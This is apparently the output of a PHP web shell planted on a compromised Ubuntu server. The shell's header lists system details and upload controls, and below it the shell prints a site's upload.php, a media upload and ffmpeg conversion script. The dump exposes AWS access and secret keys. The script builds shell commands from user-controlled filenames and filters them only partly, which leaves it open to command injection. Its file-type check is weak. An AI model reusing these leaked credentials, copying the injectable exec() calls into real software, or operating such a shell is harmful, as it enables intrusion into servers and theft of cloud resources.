( ′∀`)σ≡σ☆))Д′)レ(゚∀゚;)ヘ=З=З=Зε≡(ノ´_ゝ`)ノ HEX
HEX
Server: Apache/2.4.58 (Ubuntu)
System: Linux mail.thebrand.ai 6.8.0-107-generic #107-Ubuntu SMP PREEMPT_DYNAMIC Fri Mar 13 19:51:50 UTC 2026 x86_64
User: www-data (33)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /var/www/html/tmpr/../tmpr/../tmpr/../v/upload.php
<?php
if($_POST && array_key_exists("file", $_FILES)){
 
/*require_once('S3.php');	
define('ACCESS_KEY', 'AKIAJWAA2EGCM7FEUI2A');
define('SECRET_KEY', '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');
define('BUCKET_NAME', 'runinga');
$bucket ='runinga';
$s3 = new S3(ACCESS_KEY,  SECRET_KEY);*/

//S3::setAuth(awsAccessKey, awsSecretKey);

	 $description = $_POST['descriptionX'];  
	 $company = $_POST['companyX'];  
	  $vcat = $_POST['categoryX'];  
       $keywordsXS = $_POST['keywordsX'];  
		 $longitude	=  $_POST['longitudeX'];   
        $latitude  = $_POST['latitudeX'];   
		 $myaccount=	$_POST['myaccountX'];  
		 $appID = $_POST['appidX'];
	
	 $type = $_POST['type'] ;
			
	 $mixed ="$appID-$myaccount";
		 
 $select = rand(0,0);
			if ($select == "0"){
				define('WATERMARK_OVERLAY_IMAGE', 'logo.png');	
					define('WATERMARK_OVERLAY_IMAGEb', 'logo.png');
					define('WATERMARK_OVERLAY_IMAGEs', 'logo.png');
			}
		
define('WATERMARK_OVERLAY_OPACITY', 100);
define('WATERMARK_OUTPUT_QUALITY', 100);





function create_watermark($thepicha, $output_file_path)
{
    list($source_width, $source_height, $source_type) = getimagesize($thepicha);
    if ($source_type === NULL) {
        return false;
    }
    switch ($source_type) {
        case IMAGETYPE_GIF:
            $new_img = imagecreatefromgif($thepicha);
            break;
        case IMAGETYPE_JPEG:
            $new_img = imagecreatefromjpeg($thepicha);
            break;
        case IMAGETYPE_PNG:
            $new_img = imagecreatefrompng($thepicha);
            break;
        default:
            return false;
    }
	
	
	if($source_width > 600 && $source_width < 2000)
	{
		$overlay_gd_image = imagecreatefrompng(WATERMARK_OVERLAY_IMAGE);
	}
	if( $source_width > 0 && $source_width < 600 )
	{
		$overlay_gd_image = imagecreatefrompng(WATERMARK_OVERLAY_IMAGEs);
	}
		
	if($source_width > 2000 && $source_width < 90000)
	{
		$overlay_gd_image = imagecreatefrompng(WATERMARK_OVERLAY_IMAGEb);
	}
    
    $overlay_width = imagesx($overlay_gd_image);
    $overlay_height = imagesy($overlay_gd_image);
    imagecopymerge(
        $new_img,
        $overlay_gd_image,
        $source_width - $overlay_width,
        $source_height - $overlay_height,
        0,
        0,
        $overlay_width,
        $overlay_height,
        WATERMARK_OVERLAY_OPACITY
    );
    imagejpeg($new_img, $output_file_path, WATERMARK_OUTPUT_QUALITY);
  
}

/*
 * Uploaded file processing function
 */


/*
 * Here is how to call the function(s)
 */


		 
 function sizeinput($input, $len){
        (int)$len;
  	 (string)$input;
  	 $n = substr($input, 0,$len);
	 $ret = trim($n);
 	 $out = htmlentities($ret, ENT_QUOTES);
 	 return $out;
}

 function remove_accent($str)
{
$a = array('�','�','�','�','�','�','�','�','�','�','�','�','�','�','�','�','�','�','�','�','�','�','�','�','�','�','�','�','�','�','�','�','�','�','�','�','�','�','�','�','�','�','�','�','�','�','�','�','�','�','�','�','�','�','�','�','�','�','�','A','a','A','a','A','a','C','c','C','c','C','c','C','c','D','d','�','d','E','e','E','e','E','e','E','e','E','e','G','g','G','g','G','g','G','g','H','h','H','h','I','i','I','i','I','i','I','i','I','i','?','?','J','j','K','k','L','l','L','l','L','l','?','?','L','l','N','n','N','n','N','n','?','O','o','O','o','O','o','�','�','R','r','R','r','R','r','S','s','S','s','S','s','�','�','T','t','T','t','T','t','U','u','U','u','U','u','U','u','U','u','U','u','W','w','Y','y','�','Z','z','Z','z','�','�','?','�','O','o','U','u','A','a','I','i','O','o','U','u','U','u','U','u','U','u','U','u','?','?','?','?','?','?');
$b = array('A','A','A','A','A','A','AE','C','E','E','E','E','I','I','I','I','D','N','O','O','O','O','O','O','U','U','U','U','Y','s','a','a','a','a','a','a','ae','c','e','e','e','e','i','i','i','i','n','o','o','o','o','o','o','u','u','u','u','y','y','A','a','A','a','A','a','C','c','C','c','C','c','C','c','D','d','D','d','E','e','E','e','E','e','E','e','E','e','G','g','G','g','G','g','G','g','H','h','H','h','I','i','I','i','I','i','I','i','I','i','IJ','ij','J','j','K','k','L','l','L','l','L','l','L','l','l','l','N','n','N','n','N','n','n','O','o','O','o','O','o','OE','oe','R','r','R','r','R','r','S','s','S','s','S','s','S','s','T','t','T','t','T','t','U','u','U','u','U','u','U','u','U','u','U','u','W','w','Y','y','Y','Z','z','Z','z','Z','z','s','f','O','o','U','u','A','a','I','i','O','o','U','u','U','u','U','u','U','u','U','u','A','a','AE','ae','O','o');
return str_replace($a, $b, $str);
}





 function checkfile($input){
    $ext = array('mp4',  '3gp', 'jpg', 'gif', 'png', 'jpeg');
    $extfile = substr($input['name'],-4); 
    $extfile = explode('.',$extfile);
    $good = array();
    $extfile = $extfile[1];
	
	$extfile = strtolower($extfile);
	
    if(in_array($extfile, $ext)){
          $good['safe'] = true;
 		 $good['ext'] = $extfile;
    }else{
          $good['safe'] = false;
   }
     return $good;
 }
 
 $VideoPath = "/var/www/html/v/uploads/reporta/";
$live_img = '/var/www/html/v/uploads/images/';





 $process = explode("-", $mixed);
   $checkcount = count($process);
 	
	
	 $c = $checkcount - 1; // find last element
	 $n = $checkcount - 2;
        $yanani = $process[$c];
		$videouser = $process[$n];  







$uploadpic = '/var/www/html/v/uploads/picdir/';
  $uploaddir = '/var/www/html/v/uploads/raw/';
  $uploaddirvid = '/var/www/html/v/uploads/live/';
											   //$VideoPath is for videos after converted to flv
							$VideoPath = '/var/www/html/v/uploads/reporta/';
												//$live_img is for the first frame thumbs.
							$live_img = '/var/www/html/v/uploads/images/';		
													 
							$upload = basename($_FILES['file']['name']);
							
							
							
							 
							$titleme = "$description".basename($_FILES['file']['name']);
							 	$titleme =  remove_accent($titleme);
							$url = strtolower(trim($titleme));
	                          $url = preg_replace('/[^a-z0-9-]/', '-', $url);
	                           $url = preg_replace('/-+/', "-", $url);
							 
							 
							 
							 
							 
							 $upload =preg_replace('/[\!@#$%^&*()+=,;:]/', '', $upload);
							 $upload = preg_replace('/[\ ]/', '-', $upload); 
							$upload = $videouser.$upload;
					 
							
							
							$uploadfile = $uploaddir .$upload;  
							 $uploadfile2 =  $uploaddirvid.$upload;
							$thepicha = $uploadpic .$upload;        
							$vid_title = sizeinput($description, 50);
							$vid_desc = sizeinput($description, 200);
											   $vid_cat = (int)$vcat;
							$vid_usr_ip = $_SERVER['REMOTE_ADDR'];
											 $safe_file = checkfile($_FILES['file']);
						
						
						
							if($safe_file['safe'] == 1)
							
							
							{
							
								
							/*	if ($result = process_image_upload('file')) {*/
								
								
								if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
								 
									 
									$filename =$_FILES['file']['tmp_name'];
					
								//header('Location: addvideo.php?msg=Your Video was Successfully Uploaded!<br>');
										
										$extension = $safe_file['ext'];
										$base = basename($uploadfile, $safe_file['ext']);
										$db_file = $base;
										$new_file = $base.'flv';
										$new_image = $videouser.$base.'jpg';
										$new_pic = $videouser.$base;
										$new_image_path = $live_img.$new_image;
										$new_flv = $VideoPath.$new_file;
										
												
										
										//ececute ffmpeg generate flv  exec('ffmpeg -i '.$uploadfile.' -r 30 -ab 64 -ar 44100 -b 300k -f flv -s 500x300 -sameq '.$new_flv.'');
										
										  /////////////////////////////////////////////////////////////
					  //                                                        //
					  //                  encode video to flv                    //
					 /////////////////////////////////////////////////////////////
						
					  set_time_limit(300);
					  switch ($type) {
					  
					  	 
					  
					  case 'jpg':
					  $type = "jpg";
					  $new_pic = $new_pic."jpg";
						copy($uploadfile,$thepicha);
						$result = create_watermark($uploadfile, $thepicha);
						/*$new_img = imagecreatefromjpeg($thepicha);
						require("resize.php");*/
						 	break;
									
					  
					   case 'gif':
					   $type = "gif";
						$new_pic = $new_pic."gif";
					copy($uploadfile,$thepicha);
				/*	$result = create_watermark($uploadfile, $thepicha);*/
					$new_img = imagecreatefromgif($thepicha);
					require("resize.php");
								break;
								
					   case 'png':
					   $type = "png";
						$new_pic = $new_pic."png";
						copy($uploadfile,$thepicha);
						$result = create_watermark($uploadfile, $thepicha);
						/*$new_img = imagecreatefrompng($thepicha);
						require("resize.php");*/
								break;
								
					  
			  
           
          
					  
					  
					  
					  
							case 'wmv':
							$type = "wmv";
							 $s3->putObject($s3->inputFile($new_flv, false), $bucket, $new_file, S3::ACL_PUBLIC_READ);
								//UNCOMMENT THIS LINE OUTPUTS VERY HIGH QUALITY FLV -- FLV FILE MUCH LARGER
								//$ffmpeg_cmd2 = "ffmpeg -i $uploadfile -ab 64 -ar 44100 -b 300k -r 30 -s 720x480 -sameq $new_flv";
								@exec('ffmpeg -i '.$uploadfile.' -copyts -ar 44100 -s 500x300 '.$new_flv.'');
								@exec('ffmpeg  -i '.$uploadfile.' -f mjpeg -vframes 100 -t 00:01:10 -s 130x80 -an '.$new_image_path.'');
								break;
								
								
										   ///////////////////////// LAST RELEASE MENCODER BREAKS AUDIO SYNC //////////////////////
								//////////////////////// SO LETS USE FFMPEG ON AVI'S ALSO //////////////////////////////
								
							case 'avi':
							$type = "avi";
							 $s3->putObject($s3->inputFile($new_flv, false), $bucket, $new_file, S3::ACL_PUBLIC_READ);
							@exec('ffmpeg -i '.$uploadfile.' -copyts -r 30 -ab 64 -ar 44100 -b 300k -f flv -s 500x300 '.$new_flv.'');
							@exec('ffmpeg  -i '.$uploadfile.' -f mjpeg -vframes 100 -t 00:01:10 -s 130x80 -an '.$new_image_path.'');
							break;
					
					
					
					 
					
					
								////////////////////// IF UPLOAD IS ALREADY FLV TYPE JUST COPY IT ///////////////////
								/////////////////////////////////////////////////////////////////////////////////////
							case 'flv':
							//just move the flv file
							$type = "flv";
							 
							@copy($uploadfile, $new_flv);
							  exec('ffmpeg  -i '.$uploadfile.' -f mjpeg -vframes 100 -t 00:00:05 -s 130x80 -an '.$new_image_path.'');
							  
							 	//$s3->putObject($s3->inputFile($new_flv, false), $bucket, $new_file, S3::ACL_PUBLIC_READ);
                               //$s3->putObject($s3->inputFile($uploadfile, false), $bucket, $new_file, S3::ACL_PUBLIC_READ);
							
							 break;
								
								////////////////////////// IF OTHER VIDEO TYPE USE MENCODER ///////////////////////////
								/////////////////////// MPEG, MPG, RM IS ENABLED IN CONFIG_PM /////////////////////////
							default:
							// $s3->putObject($s3->inputFile($new_flv, false), $bucket, $new_file, S3::ACL_PUBLIC_READ);
							   @exec('ffmpeg -i '.$uploadfile.' -r 30 -ab 64 -ar 44100 -b 300k -f flv -s 500x300 '.$new_flv.'');
										   //execute ffmpeg and create thumb
								@exec('ffmpeg  -i '.$uploadfile.' -f mjpeg -vframes 100 -t 00:01:10 -s 130x80 -an '.$new_image_path.'');
							 
							   
							   /*
								$path_to_mencoder = $config["path_to_mencoder"];
					
								$mencoder_cmd = "$path_to_mencoder $uploadfile -o $new_flv -of lavf -oac mp3lame -lameopts abr:br=56 -ovc lavc -lavcopts vcodec=flv:vbitrate=800:mbd=2:mv0:trell:v4mv:cbp:last_pred=3 -lavfopts i_certify_that_my_video_stream_does_not_use_b_frames -vf scale=320:233 -srate 22050";
					
								@exec("$mencoder_cmd 2>&1", $output);
					
								//If no flv was created. Attempt to convert with -vop swicth and not -vf
								if (!file_exists($new_flv)) {
									$mencoder_cmd = "$path_to_mencoder $uploadfile -o $new_flv -of lavf -oac mp3lame -lameopts abr:br=56 -ovc lavc -lavcopts vcodec=flv:vbitrate=800:mbd=2:mv0:trell:v4mv:cbp:last_pred=3 -lavfopts i_certify_that_my_video_stream_does_not_use_b_frames -vop scale=450:400 -srate 22050";
									@exec("$mencoder_cmd 2>&1", $output);
								}
					
								//If no flv was created. Attempt to convert with no -lavcopts i_certify_etc_etc
								if (!file_exists($new_flv)) {
									$mencoder_cmd = "$path_to_mencoder $uploadfile -o $new_flv -of lavf -oac mp3lame -lameopts abr:br=56 -ovc lavc -lavcopts vcodec=flv:vbitrate=800:mbd=2:mv0:trell:v4mv:cbp:last_pred=3 -vf scale=450:400 -srate 22050";
									@exec("$mencoder_cmd 2>&1", $output);
								}  */
					
							 
								
								break;
						}
						
						
						
						//############################### END VIDEO TYPE SWITCH ############################
						//####################################################################################
										
							 /////////////////////////////////////////////////////////////
						//                        STEP 2                           //
						//                  FLVTOOL2 INJECTION                     //
						/////////////////////////////////////////////////////////////
					
					   /* $path_to_flv = $config["path_to_flvtool2"];
						$flv_cmd = "$path_to_flv -U $new_flv";
						@exec("$flv_cmd 2>&1", $output);	*/		
										 
						
						
						
						//echo "$extension";
						
			 
				  require("reporterSQL.php");
                  $db = new NewsSQL($dbname);
	  			  $addfile = $db->addvideofile($videouser,$yanani,$db_file,$new_image,$titleme,$url,$type,$upload,$latitude,$longitude,$vcat);		
					 
						echo "myStory: Thanks, We have Received your Media file. Kindly wait for it to be approved $filename ";	
								
								 } else {
									 
										
						 echo "File Too Large";
						 
						 // echo "file size!";		 //  print_r($_FILES);
								 }
					 
							}else{
							echo "Wrong File Type";
							  // echo "wrong type";   
							
							}
 
		//echo "1";
	
	
}
?>